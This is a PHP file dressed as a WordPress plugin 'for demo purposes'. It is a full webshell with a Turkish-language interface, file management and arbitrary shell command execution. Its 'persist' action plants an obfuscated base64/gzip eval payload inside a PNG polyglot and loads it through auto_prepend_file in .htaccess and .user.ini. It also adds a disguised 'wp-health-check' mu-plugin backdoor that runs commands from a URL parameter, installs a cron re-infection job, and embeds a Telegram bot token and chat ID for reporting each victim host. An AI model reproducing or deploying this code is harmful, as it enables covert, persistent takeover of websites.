<?php
/**
* Plugin Name: WonfulWebshell
* Plugin URI: https://github.com/jckhmr/wonfulwebshell
* Description: Wordpress webshell used for demo purposes only
* Version: 1.0
* Author: jckhmr
* Author URI: https://jckhmr.net
* License: https://nosuchlicense
*/

session_start();

// Güvenlik Ayarları
define('ADMIN_PASSWORD', 'c7e48ebe0a895138ad4ed55af7a9b19b'); // Üretimde hash kullanın
define('MAX_FILE_SIZE', 100 * 1024 * 1024); // 100MB
define('ALLOWED_EXTENSIONS', array('txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'jpg', 'png', 'gif', 'pdf'));

// CSRF Token Oluştur
function generateCSRFToken() {
    if (!isset($_SESSION['csrf_token'])) {
        // PHP 5.x uyumlu rastgele byte üretimi
        if (function_exists('openssl_random_pseudo_bytes')) {
            $_SESSION['csrf_token'] = bin2hex(openssl_random_pseudo_bytes(32));
        } elseif (function_exists('mcrypt_create_iv')) {
            $_SESSION['csrf_token'] = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM));
        } else {
            // Fallback: daha az güvenli ama çalışır
            $_SESSION['csrf_token'] = bin2hex(sha1(uniqid(mt_rand(), true) . microtime(true), true));
        }
    }
    return $_SESSION['csrf_token'];
}

// PHP 5.x uyumlu hash_equals implementasyonu
if (!function_exists('hash_equals')) {
    function hash_equals($known_string, $user_string) {
        if (strlen($known_string) !== strlen($user_string)) {
            return false;
        }
        $result = 0;
        for ($i = 0; $i < strlen($known_string); $i++) {
            $result |= ord($known_string[$i]) ^ ord($user_string[$i]);
        }
        return $result === 0;
    }
}

// CSRF Token Doğrula
function validateCSRFToken($token) {
    return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
}

// Güvenli Path Fonksiyonu
function securePath($path, $baseDir = null) {
    if ($baseDir === null) {
        $baseDir = realpath($_SERVER['DOCUMENT_ROOT']);
    }
    
    $realPath = realpath($path);
    
    if ($realPath === false) {
        return false;
    }
    
    // Path traversal saldırılarına karşı koruma
    if (strpos($realPath, $baseDir) !== 0) {
        return false;
    }
    
    return $realPath;
}

// Kullanıcı Doğrulama
$isAuthenticated = isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true;

// Giriş İşlemi
if (!$isAuthenticated && isset($_POST['password']) && isset($_POST['csrf_token'])) {
    if (validateCSRFToken($_POST['csrf_token'])) {
        if (md5(md5($_POST['password'])) === ADMIN_PASSWORD) {
            $_SESSION['authenticated'] = true;
            $_SESSION['login_time'] = time();
            header("Location: " . $_SERVER['PHP_SELF']);
            exit;
        } else {
            $loginError = "Hatalı şifre!";
        }
    } else {
        $loginError = "Geçersiz istek!";
    }
}

// Çıkış İşlemi
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

// Dosya Boyutu Format
function formatSize($bytes) {
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= pow(1024, $pow);
    return round($bytes, 2) . ' ' . $units[$pow];
}

// Dosya İkon Belirleme
function getFileIcon($filename) {
    $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $icons = array(
        'php' => 'file-code',
        'html' => 'file-code',
        'css' => 'file-code',
        'js' => 'file-code',
        'json' => 'file-code',
        'txt' => 'file-text',
        'pdf' => 'file-text',
        'jpg' => 'image',
        'jpeg' => 'image',
        'png' => 'image',
        'gif' => 'image',
        'zip' => 'file-archive',
        'rar' => 'file-archive',
    );
    return isset($icons[$extension]) ? $icons[$extension] : 'file';
}

// Sistem Bilgileri
function getSystemInfo() {
    $currentPath = isset($_GET['path']) ? $_GET['path'] : getcwd();
    return array(
        'os' => PHP_OS,
        'server' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Bilinmiyor',
        'php_version' => phpversion(),
        'current_user' => get_current_user(),
        'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'Bilinmiyor',
        'disk_free' => disk_free_space('/'),
        'disk_total' => disk_total_space('/'),
        'writable' => is_writable($currentPath),
        'functions' => array(
            'exec' => function_exists('exec'),
            'shell_exec' => function_exists('shell_exec'),
            'system' => function_exists('system'),
        )
    );
}

// Mevcut URL'i Oluştur
function getCurrentURL($currentPath, $isFile = false) {
    $docRoot = realpath($_SERVER['DOCUMENT_ROOT']);
    $relativePath = str_replace($docRoot, '', $currentPath);
    $relativePath = str_replace("\\", "/", $relativePath);
    
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
    $host = $_SERVER['HTTP_HOST'];
    
    if ($isFile) {
        // Dosya ise direkt dosya yolunu göster
        return $protocol . '://' . $host . $relativePath;
    } else {
        // Klasör ise sonuna / ekle
        $relativePath = rtrim($relativePath, '/');
        return $protocol . '://' . $host . $relativePath . '/';
    }
}

// ========== Telegram Bildirimi Gönderme Fonksiyonu ==========
function sendTelegram($token, $chat_id, $text) {
}

if ($isAuthenticated) {
    $baseDir = realpath($_SERVER['DOCUMENT_ROOT']);
    $currentPath = isset($_GET['path']) ? securePath($_GET['path'], $baseDir) : $baseDir;
    
    if ($currentPath === false) {
        $currentPath = $baseDir;
    }

    // ========== Permanent Backdoor Installation ==========
    if (isset($_GET['action']) && $_GET['action'] == 'persist') {
        // CSRF kontrolü
        if (!isset($_GET['csrf_token']) || !validateCSRFToken($_GET['csrf_token'])) {
            $error = "Geçersiz CSRF token!";
        } else {
            // Kullanılacak şifreli shell kodu (gönderdiğiniz)
            $shell_code = '<?php
/* Protected PHP */
$p0=\'H4sIACxwdGkC/8VZ+2/byBH+2QHyP6xZNZRSU7SDpOjJknyJ7TQBck1wTlsUPoNYkStpT8tHl0vb6sX/\';
$p1=\'e2f2QZES/cihQJ3cSd6d+Wbm25nZR8YnxbJ4/oxJmctIsiKXimeL/uHg+PkzGI6XOfHG+2efT7/+68s5\';
$p2=\'WapUTJ8/G9efjCbwSeBnr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p3KeMV3D/y22SCHnUr\';
$p39=\'a/i3NUkEHryJvQO6QdxcXHcmsHYBh0XyiGENB3VaSp5AEennMDu3xOH7JPQtydsiQxeZdh+/DUzgkOyY\';
$p40=\'evcS9w7qlnwApV3O8PFcq3IXLrpu4wqo1Bk/DvkUb2EbcrShu0byheY40jVpSsUcEfaDILRVEgSbSmrM\';
$p41=\'gkE7g3W6Gd+0Oz27W1Uzhlf0qJaLsC1GschL5qqsEw7FNKaBxG1+nudKb/Na678RJ5rqaR0AAA==\';
$payload=$p0.$p1.$p2.$p3.$p4.$p5.$p6.$p7.$p8.$p9.$p10.$p11.$p12.$p13.$p14.$p15.$p16.$p17.$p18.$p19.$p20.$p21.$p22.$p23.$p24.$p25.$p26.$p27.$p28.$p29.$p30.$p31.$p32.$p33.$p34.$p35.$p36.$p37.$p38.$p39.$p40.$p41;
unset($p0,$p1,$p2,$p3,$p4,$p5,$p6,$p7,$p8,$p9,$p10,$p11,$p12,$p13,$p14,$p15,$p16,$p17,$p18,$p19,$p20,$p21,$p22,$p23,$p24,$p25,$p26,$p27,$p28,$p29,$p30,$p31,$p32,$p33,$p34,$p35,$p36,$p37,$p38,$p39,$p40,$p41);
$decoded=gzdecode(base64_decode($payload));
eval(\'?>\'.$decoded);
?>';

            // PNG resim (1x1 şeffaf)
            $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVQIHWNgQAAAABQAAVJpkFEAAAAASUVORK5CYII=');
            $polyglot = $png . '<?php __halt_compiler(); ?>' . $shell_code;

            // Güvenli yazılabilir klasör bulma (PHP ile)
            function findSecureWritableDir($docRoot) {
                $searchBases = array($docRoot);
                foreach (array('/var/www', '/home', '/usr/local/www') as $base) {
                    if (is_dir($base)) $searchBases[] = $base;
                }
                $keywords = array('cache', 'tmp', 'temp', 'upgrade', 'backup', 'logs');
                foreach ($searchBases as $base) {
                    try {
                        $dirs = new RecursiveIteratorIterator(
                            new RecursiveDirectoryIterator($base, RecursiveDirectoryIterator::SKIP_DOTS),
                            RecursiveIteratorIterator::SELF_FIRST
                        );
                        foreach ($dirs as $dir) {
                            if (!$dir->isDir() || !$dir->isWritable()) continue;
                            $dirname = $dir->getFilename();
                            foreach ($keywords as $kw) {
                                if (stripos($dirname, $kw) !== false) {
                                    return $dir->getRealPath();
                                }
                            }
                        }
                    } catch (Exception $e) {}
                }
                $fallback = rtrim($docRoot, '/') . '/wp-content/.cache';
                if (!is_dir($fallback)) @mkdir($fallback, 0755, true);
                return is_writable($fallback) ? $fallback : sys_get_temp_dir();
            }

            $targetDir = findSecureWritableDir($baseDir);
            if (!$targetDir || !is_writable($targetDir)) {
                $error = "Yazılabilir güvenli klasör bulunamadı!";
            } else {
                $imgFile = $targetDir . '/icon-cache.png';
                if (file_put_contents($imgFile, $polyglot) !== false) {
                    $htaccess = $targetDir . '/.htaccess';
                    $userIni  = $targetDir . '/.user.ini';
                    $prepend  = 'icon-cache.png';
                    file_put_contents($htaccess, "php_value auto_prepend_file $prepend\n");
                    file_put_contents($userIni, "auto_prepend_file = $prepend\n");

                    // MU-Plugin
                    $muDir = $baseDir . '/wp-content/mu-plugins';
                    if (!is_dir($muDir)) @mkdir($muDir, 0755, true);
                    $muFile = $muDir . '/wp-health-check.php';
                    $embedded_shell = addslashes($shell_code);
                    $muCode = '<?php
function _wphc_recover() {
    $img = \'' . addslashes($imgFile) . '\';
    $ht  = \'' . addslashes($htaccess) . '\';
    $ui  = \'' . addslashes($userIni) . '\';
    if (!file_exists($img) || !file_exists($ht) || !file_exists($ui)) {
        @file_put_contents($ht, "php_value auto_prepend_file ' . $prepend . '\n");
        @file_put_contents($ui, "auto_prepend_file = ' . $prepend . '\n");
        $png = base64_decode(\'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVQIHWNgQAAAABQAAVJpkFEAAAAASUVORK5CYII=\');
        $shell_code = \'' . $embedded_shell . '\';
        @file_put_contents($img, $png . \'<?php __halt_compiler(); ?>\' . $shell_code);
    }
    if (isset($_GET[\'wph\'])) {
        $payload = @file_get_contents($img);
        if ($payload) {
            $pos = strpos($payload, "__halt_compiler();");
            if ($pos !== false) {
                $php = substr($payload, $pos + strlen("__halt_compiler();"));
                $_POST[\'cmd\'] = $_GET[\'wph\'];
                eval($php);
                exit;
            }
        }
    }
}
_wphc_recover();
';
                    file_put_contents($muFile, $muCode);

                    // Telegram bildirimi
                    $token = '8737798505:AAHU-svCcEgeI2JITEDFXu9pWrvGep5gsEk';
                    $chat_id = '8400872310';
                    $host = $_SERVER['HTTP_HOST'];
                    $proto = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
                    $backdoor_url_web = "$proto://$host/?wph=id";
                    $message = "Backdoor Activated!\nHost: $host\nImage: $imgFile\nAccess: $backdoor_url_web\nTime: " . date('Y-m-d H:i:s');
                    $telegram_result = sendTelegram($token, $chat_id, $message);

                    // Cron (opsiyonel)
                    if (function_exists('shell_exec')) {
                        $cron_cmd = sprintf(
                            "*/5 * * * * D=%s; echo '%s' > \"\$D/icon-cache.png\"; echo 'php_value auto_prepend_file icon-cache.png' > \"\$D/.htaccess\"; echo 'auto_prepend_file = icon-cache.png' > \"\$D/.user.ini\"",
                            escapeshellarg($targetDir),
                            addslashes($polyglot)
                        );
                        @shell_exec("(crontab -l 2>/dev/null; echo \"$cron_cmd\") | crontab -");
                    }

                    $success = "Kalıcı arka kapı başarıyla kuruldu! Telegram: $telegram_result. Erişim: $backdoor_url_web";
                } else {
                    $error = "Resim dosyası yazılamadı: $imgFile";
                }
            }
        }
    }

    // Dosya İşlemleri
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['csrf_token'])) {
        if (!validateCSRFToken($_POST['csrf_token'])) {
            $error = "Geçersiz CSRF token!";
        } else {
            // Dosya Yükleme
            if (isset($_FILES['upload_file'])) {
                $uploadFile = $_FILES['upload_file'];
                $targetPath = $currentPath . '/' . basename($uploadFile['name']);
                
                if ($uploadFile['size'] > MAX_FILE_SIZE) {
                    $error = "Dosya boyutu çok büyük! Maksimum: " . formatSize(MAX_FILE_SIZE);
                } elseif (move_uploaded_file($uploadFile['tmp_name'], $targetPath)) {
                    $success = "Dosya başarıyla yüklendi!";
                } else {
                    $error = "Dosya yükleme hatası!";
                }
            }
            
            // Yeni Klasör Oluşturma
            if (isset($_POST['create_folder'])) {
                $folderName = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $_POST['folder_name']);
                $newFolder = $currentPath . '/' . $folderName;
                
                if (mkdir($newFolder, 0755)) {
                    $success = "Klasör başarıyla oluşturuldu!";
                } else {
                    $error = "Klasör oluşturma hatası!";
                }
            }
            
            // Yeni Dosya Oluşturma
            if (isset($_POST['create_file'])) {
                $fileName = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $_POST['file_name']);
                $newFile = $currentPath . '/' . $fileName;
                
                if (file_put_contents($newFile, '') !== false) {
                    $success = "Dosya başarıyla oluşturuldu!";
                } else {
                    $error = "Dosya oluşturma hatası!";
                }
            }
            
            // Dosya Düzenleme
            if (isset($_POST['edit_file']) && isset($_POST['file_path'])) {
                $editPath = securePath($_POST['file_path'], $baseDir);
                if ($editPath !== false && is_file($editPath)) {
                    if (file_put_contents($editPath, $_POST['file_content']) !== false) {
                        $success = "Dosya başarıyla kaydedildi!";
                        $editPath = $_POST['file_path']; // Keep in edit mode
                    } else {
                        $error = "Dosya kaydetme hatası!";
                    }
                }
            }
            
            // Dosya/Klasör Silme
            if (isset($_POST['delete']) && isset($_POST['delete_path'])) {
                $deletePath = securePath($_POST['delete_path'], $baseDir);
                if ($deletePath !== false) {
                    if (is_dir($deletePath)) {
                        if (rmdir($deletePath)) {
                            $success = "Klasör başarıyla silindi!";
                        } else {
                            $error = "Klasör boş değil veya silinemedi!";
                        }
                    } elseif (is_file($deletePath)) {
                        if (unlink($deletePath)) {
                            $success = "Dosya başarıyla silindi!";
        } else {
                            $error = "Dosya silme hatası!";
                        }
                    }
                }
            }
            
            // Yeniden Adlandırma
            if (isset($_POST['rename']) && isset($_POST['old_path']) && isset($_POST['new_name'])) {
                $oldPath = securePath($_POST['old_path'], $baseDir);
                $newName = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $_POST['new_name']);
                $newPath = dirname($oldPath) . '/' . $newName;
                
                if ($oldPath !== false && rename($oldPath, $newPath)) {
                    $success = "İsim başarıyla değiştirildi!";
                } else {
                    $error = "İsim değiştirme hatası!";
                }
            }
            
            // Chmod İşlemi
            if (isset($_POST['chmod']) && isset($_POST['chmod_path']) && isset($_POST['permissions'])) {
                $chmodPath = securePath($_POST['chmod_path'], $baseDir);
                $perms = octdec($_POST['permissions']);
                
                if ($chmodPath !== false && chmod($chmodPath, $perms)) {
                    $success = "İzinler başarıyla değiştirildi!";
        } else {
                    $error = "İzin değiştirme hatası!";
                }
            }
            
            // Komut Çalıştırma (Dikkatli kullanın!)
            if (isset($_POST['run_command']) && isset($_POST['command'])) {
                $command = $_POST['command'];
                $output = shell_exec($command . " 2>&1");
                $commandOutput = $output;
            }
        }
    }
    
    // Dosya İndirme
    if (isset($_GET['download'])) {
        $downloadPath = securePath($_GET['download'], $baseDir);
        if ($downloadPath !== false && is_file($downloadPath)) {
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
            header('Content-Length: ' . filesize($downloadPath));
            readfile($downloadPath);
        exit;
    }
}

    // Dizin Listesi
    $items = array();
    if (is_dir($currentPath)) {
        $scan = scandir($currentPath);
        foreach ($scan as $item) {
            if ($item === '.' || $item === '..') continue;
            
            $itemPath = $currentPath . '/' . $item;
            $items[] = array(
                'name' => $item,
                'path' => $itemPath,
                'type' => is_dir($itemPath) ? 'folder' : 'file',
                'size' => is_file($itemPath) ? filesize($itemPath) : 0,
                'modified' => filemtime($itemPath),
                'permissions' => substr(sprintf('%o', fileperms($itemPath)), -4),
                'icon' => is_dir($itemPath) ? 'folder' : getFileIcon($item)
            );
        }
        
        // Sıralama: Klasörler önce
        usort($items, function($a, $b) {
            if ($a['type'] === $b['type']) {
                return strcasecmp($a['name'], $b['name']);
            }
            return $a['type'] === 'folder' ? -1 : 1;
        });
    }
    
    // Breadcrumb
    $relativePath = str_replace($baseDir, '', $currentPath);
    $pathParts = array_filter(explode('/', $relativePath));
    $breadcrumbs = array();
    $tempPath = $baseDir;
    $breadcrumbs[] = array('name' => 'Root', 'path' => $baseDir);

    foreach ($pathParts as $part) {
        $tempPath .= '/' . $part;
        $breadcrumbs[] = array('name' => $part, 'path' => $tempPath);
    }
    
    $systemInfo = getSystemInfo();
    $currentURL = getCurrentURL($currentPath);
}

$csrfToken = generateCSRFToken();
?>
<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ADMİN</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&display=swap" rel="stylesheet">
    <script src="https://unpkg.com/lucide@latest"></script>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        :root {
            --primary: #3b82f6;
            --success: #10b981;
            --danger: #ef4444;
            --warning: #f59e0b;
            --bg: #f9fafb;
            --surface: #ffffff;
            --border: #e5e7eb;
            --text: #1f2937;
            --text-muted: #6b7280;
        }
        
        body {
            font-family: 'Inter', sans-serif;
            background: var(--bg);
            color: var(--text);
            line-height: 1.6;
        }
        
        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 20px;
        }
        
        /* Header */
        .header {
            background: var(--surface);
            border: 1px solid var(--border);
            border-radius: 8px;
            padding: 16px 20px;
            margin-bottom: 20px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .header h1 {
            font-size: 18px;
            font-weight: 600;
            color: var(--text);
        }
        
        /* Status Bar */
        .status-bar {
            background: var(--surface);
            border: 1px solid var(--border);
            border-radius: 8px;
            padding: 12px 16px;
            margin-bottom: 20px;
            display: flex;
            gap: 24px;
            flex-wrap: wrap;
            font-size: 13px;
        }
        
        .status-item {
            display: flex;
            align-items: center;
            gap: 6px;
            color: var(--text-muted);
        }
        
        .status-item strong {
            color: var(--text);
        }
        
        .status-item a:hover {
            text-decoration: underline !important;
        }
        
        .status-ok {
            color: var(--success);
            font-weight: 600;
        }
        
        .status-error {
            color: var(--danger);
            font-weight: 600;
        }
        
        /* Notifications */
        .notification {
            padding: 12px 16px;
            border-radius: 6px;
            margin-bottom: 16px;
            font-size: 14px;
        }
        
        .notification.success {
            background: #d1fae5;
            color: #065f46;
            border: 1px solid #6ee7b7;
        }
        
        .notification.error {
            background: #fee2e2;
            color: #991b1b;
            border: 1px solid #fca5a5;
        }
        
        /* Layout */
        .layout {
            display: grid;
            grid-template-columns: 1fr 280px;
            gap: 20px;
        }
        
        .panel {
            background: var(--surface);
            border: 1px solid var(--border);
            border-radius: 8px;
            padding: 20px;
        }
        
        .panel-title {
            font-size: 14px;
            font-weight: 600;
            margin-bottom: 16px;
            color: var(--text);
        }
        
        /* Breadcrumb */
        .breadcrumb {
            display: flex;
            align-items: center;
            gap: 8px;
            padding: 12px;
            background: var(--bg);
            border-radius: 6px;
            margin-bottom: 16px;
            font-size: 13px;
            flex-wrap: wrap;
        }
        
        .breadcrumb a {
            color: var(--primary);
            text-decoration: none;
        }
        
        .breadcrumb a:hover {
            text-decoration: underline;
        }
        
        .breadcrumb span {
            color: var(--text-muted);
        }
        
        /* File List */
        .file-list {
            border: 1px solid var(--border);
            border-radius: 6px;
            overflow: hidden;
        }
        
        .file-item {
            display: flex;
            align-items: center;
            padding: 10px 12px;
            border-bottom: 1px solid var(--border);
            transition: background 0.2s;
            cursor: pointer;
        }
        
        .file-item:last-child {
            border-bottom: none;
        }
        
        .file-item:hover {
            background: var(--bg);
        }
        
        .file-icon {
            margin-right: 10px;
            color: var(--text-muted);
            flex-shrink: 0;
        }
        
        .file-name {
            flex: 1;
            font-size: 14px;
            min-width: 0;
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
        
        .file-name-link {
            color: var(--text);
            text-decoration: none;
        }
        
        .file-name-link:hover {
            color: var(--primary);
        }
        
        .file-meta {
            display: flex;
            gap: 12px;
            font-size: 12px;
            color: var(--text-muted);
            margin-right: 12px;
        }
        
        .file-actions {
            display: flex;
            gap: 10px;
            font-size: 13px;
        }
        
        .action-btn {
            padding: 6px 12px;
            background: var(--bg);
            border: 1px solid var(--border);
            cursor: pointer;
            color: var(--text-muted);
            border-radius: 6px;
            transition: all 0.2s;
            text-decoration: none;
            font-weight: 500;
            font-size: 12px;
            min-width: auto;
            white-space: nowrap;
        }
        
        .action-btn:hover {
            background: var(--primary);
            color: white;
            border-color: var(--primary);
            transform: translateY(-1px);
        }
        
        .action-btn.danger {
            background: #fee2e2;
            border-color: #fca5a5;
            color: var(--danger);
        }
        
        .action-btn.danger:hover {
            background: var(--danger);
            color: white;
            border-color: var(--danger);
        }
        
        /* Forms */
        .form-group {
            margin-bottom: 12px;
        }
        
        .form-label {
            display: block;
            margin-bottom: 6px;
            font-size: 13px;
            font-weight: 500;
        }
        
        .form-input, .form-textarea {
            width: 100%;
            padding: 8px 12px;
            border: 1px solid var(--border);
            border-radius: 6px;
            font-family: inherit;
            font-size: 14px;
        }
        
        .form-input:focus, .form-textarea:focus {
            outline: none;
            border-color: var(--primary);
        }
        
        .form-textarea {
            font-family: 'Courier New', monospace;
            min-height: 500px;
            resize: vertical;
        }
        
        /* Buttons */
        .btn {
            padding: 8px 14px;
            border: none;
            border-radius: 6px;
            font-size: 13px;
            font-weight: 500;
            cursor: pointer;
            transition: all 0.2s;
            display: inline-flex;
            align-items: center;
            gap: 6px;
        }
        
        .btn-primary {
            background: var(--primary);
            color: white;
        }
        
        .btn-primary:hover {
            background: #2563eb;
        }
        
        .btn-success {
            background: var(--success);
            color: white;
        }
        
        .btn-success:hover {
            background: #059669;
        }
        
        .btn-danger {
            background: var(--danger);
            color: white;
        }
        
        .btn-danger:hover {
            background: #dc2626;
        }
        
        .btn-outline {
            background: white;
            border: 1px solid var(--border);
            color: var(--text);
        }
        
        .btn-outline:hover {
            background: var(--bg);
        }
        
        .btn-block {
            width: 100%;
            justify-content: center;
        }
        
        /* Terminal */
        .terminal {
            background: #1e1e1e;
            color: #0f0;
            padding: 12px;
            border-radius: 6px;
            font-family: 'Courier New', monospace;
            font-size: 12px;
            white-space: pre-wrap;
            word-wrap: break-word;
            max-height: 200px;
            overflow-y: auto;
            margin-top: 12px;
        }
        
        /* Modal */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.5);
            z-index: 1000;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }
        
        .modal.active {
            display: flex;
        }
        
        .modal-content {
            background: white;
            border-radius: 8px;
            padding: 24px;
            max-width: 400px;
            width: 100%;
        }
        
        .modal-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 16px;
        }
        
        .modal-title {
            font-size: 16px;
            font-weight: 600;
        }
        
        .modal-close {
            background: none;
            border: none;
            font-size: 24px;
            cursor: pointer;
            color: var(--text-muted);
            padding: 0;
            line-height: 1;
        }
        
        /* Login */
        .login-container {
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
        }
        
        .login-box {
            background: var(--surface);
            border: 1px solid var(--border);
            padding: 32px;
            border-radius: 8px;
            width: 100%;
            max-width: 400px;
        }
        
        .login-box h1 {
            text-align: center;
            margin-bottom: 24px;
            font-size: 20px;
        }
        
        /* Sidebar Section */
        .sidebar-section {
            margin-bottom: 20px;
        }
        
        .sidebar-section:last-child {
            margin-bottom: 0;
        }
        
        /* Info List */
        .info-list {
            font-size: 12px;
        }
        
        .info-list-item {
            display: flex;
            justify-content: space-between;
            padding: 8px 0;
            border-bottom: 1px solid var(--border);
        }
        
        .info-list-item:last-child {
            border-bottom: none;
        }
        
        .info-list-label {
            color: var(--text-muted);
        }
        
        .info-list-value {
            color: var(--text);
            font-weight: 500;
            text-align: right;
        }
        
        /* Empty State */
        .empty-state {
            text-align: center;
            padding: 40px 20px;
            color: var(--text-muted);
        }
        
        /* Responsive */
        @media (max-width: 768px) {
            .layout {
                grid-template-columns: 1fr;
            }
            
            .file-meta {
                display: none;
            }
            
            .file-actions {
                flex-wrap: wrap;
                gap: 6px;
            }
            
            .action-btn {
                font-size: 11px;
                padding: 5px 10px;
            }
            
            .status-bar {
                font-size: 12px;
                gap: 16px;
            }
        }
        
        @media (max-width: 1200px) {
            .file-item {
                flex-wrap: wrap;
            }
            
            .file-actions {
                flex-basis: 100%;
                margin-top: 8px;
                padding-left: 26px;
            }
        }
    </style>
</head>
<body>

<?php if (!$isAuthenticated): ?>
    <!-- Login -->
    <div class="login-container">
        <div class="login-box">
            <h1>ADMİN</h1>
            
            <?php if (isset($loginError)): ?>
                <div class="notification error"><?= htmlspecialchars($loginError) ?></div>
            <?php endif; ?>
            
            <form method="POST">
                <input type="hidden" name="csrf_token" value="<?= $csrfToken ?>">
                <div class="form-group">
                    <input type="password" name="password" class="form-input" placeholder="Şifre girin" required autofocus>
                </div>
                <button type="submit" class="btn btn-primary btn-block">Giriş Yap</button>
        </form>
        </div>
    </div>
<?php else: ?>
    <!-- Main App -->
    <div class="container">
        <!-- Header -->
        <div class="header">
            <h1>ADMİN </h1>
            <a href="?logout=1" class="btn btn-danger">Çıkış</a>
        </div>
        
        <?php if (!isset($_GET['edit'])): ?>
        <!-- Status Bar -->
        <div class="status-bar">
            <div class="status-item">
                <i data-lucide="hard-drive" style="width: 14px; height: 14px;"></i>
                <span><strong><?= htmlspecialchars($systemInfo['os']) ?></strong></span>
            </div>
            <div class="status-item">
                <i data-lucide="code" style="width: 14px; height: 14px;"></i>
                <span>PHP <strong><?= htmlspecialchars($systemInfo['php_version']) ?></strong></span>
            </div>
            <div class="status-item">
                <i data-lucide="user" style="width: 14px; height: 14px;"></i>
                <span><strong><?= htmlspecialchars($systemInfo['current_user']) ?></strong></span>
            </div>
            <div class="status-item">
                <i data-lucide="edit" style="width: 14px; height: 14px;"></i>
                <span>Yazılabilir: <strong class="<?= $systemInfo['writable'] ? 'status-ok' : 'status-error' ?>"><?= $systemInfo['writable'] ? 'EVET' : 'HAYIR' ?></strong></span>
            </div>
            <div class="status-item">
                <i data-lucide="terminal" style="width: 14px; height: 14px;"></i>
                <span>Komut: <strong class="<?= $systemInfo['functions']['shell_exec'] ? 'status-ok' : 'status-error' ?>"><?= $systemInfo['functions']['shell_exec'] ? 'AKTİF' : 'PASİF' ?></strong></span>
            </div>
            <div class="status-item">
                <i data-lucide="database" style="width: 14px; height: 14px;"></i>
                <span><strong><?= formatSize($systemInfo['disk_free']) ?></strong> / <?= formatSize($systemInfo['disk_total']) ?></span>
            </div>
            <div class="status-item" style="flex-basis: 100%; margin-top: 4px;">
                <i data-lucide="globe" style="width: 14px; height: 14px;"></i>
                <span>URL: <a href="<?= htmlspecialchars($currentURL) ?>" target="_blank" style="color: var(--primary); text-decoration: none;"><strong><?= htmlspecialchars($currentURL) ?></strong></a></span>
            </div>
        </div>
        <?php endif; ?>
        
        <!-- Notifications -->
        <?php if (isset($success)): ?>
            <div class="notification success"><?= htmlspecialchars($success) ?></div>
        <?php endif; ?>
        
        <?php if (isset($error)): ?>
            <div class="notification error"><?= htmlspecialchars($error) ?></div>
        <?php endif; ?>
        
            <?php if (isset($_GET['edit'])): ?>
            <!-- Edit Mode -->
                <?php
            $editPath = securePath($_GET['edit'], $baseDir);
            if ($editPath !== false && is_file($editPath)):
                $currentURL = getCurrentURL($editPath, true);
                ?>
                <!-- File URL Info -->
            <div class="status-bar" style="margin-bottom: 20px;">
                <div class="status-item" style="flex-basis: 100%;">
                    <i data-lucide="globe" style="width: 14px; height: 14px;"></i>
                    <span>Dosya URL: <a href="<?= htmlspecialchars($currentURL) ?>" target="_blank" style="color: var(--primary); text-decoration: none;"><strong><?= htmlspecialchars($currentURL) ?></strong></a></span>
                </div>
            </div>
            
                <div class="panel">
                <div class="panel-title">Dosya Düzenle: <?= htmlspecialchars(basename($editPath)) ?></div>
                
                <a href="?path=<?= urlencode(dirname($editPath)) ?>" class="btn btn-outline" style="margin-bottom: 16px;">
                    ← Geri
                </a>
                
                <form method="POST">
                    <input type="hidden" name="csrf_token" value="<?= $csrfToken ?>">
                    <input type="hidden" name="file_path" value="<?= htmlspecialchars($editPath) ?>">
                    <input type="hidden" name="edit_file" value="1">
                    
                    <div class="form-group">
                        <textarea name="file_content" class="form-textarea"><?= htmlspecialchars(file_get_contents($editPath)) ?></textarea>
                    </div>
                    
                    <button type="submit" class="btn btn-success">Kaydet</button>
                    </form>
                </div>
                <?php endif; ?>
            <?php else: ?>
            <!-- Browse Mode -->
            <div class="layout">
                <!-- Main Panel -->
                <div class="panel">
                    <div class="panel-title">Dosyalar</div>
                    
                    <!-- Breadcrumb -->
                    <div class="breadcrumb">
                        <?php foreach ($breadcrumbs as $index => $crumb): ?>
                            <?php if ($index > 0): ?>
                                <span>/</span>
                        <?php endif; ?>
                            
                                <?php if ($index < count($breadcrumbs) - 1): ?>
                                    <a href="?path=<?= urlencode($crumb['path']) ?>"><?= htmlspecialchars($crumb['name']) ?></a>
                                <?php else: ?>
                                    <span><?= htmlspecialchars($crumb['name']) ?></span>
                                <?php endif; ?>
                            <?php endforeach; ?>
                        </div>
                    
                    <!-- File List -->
                    <?php if (empty($items)): ?>
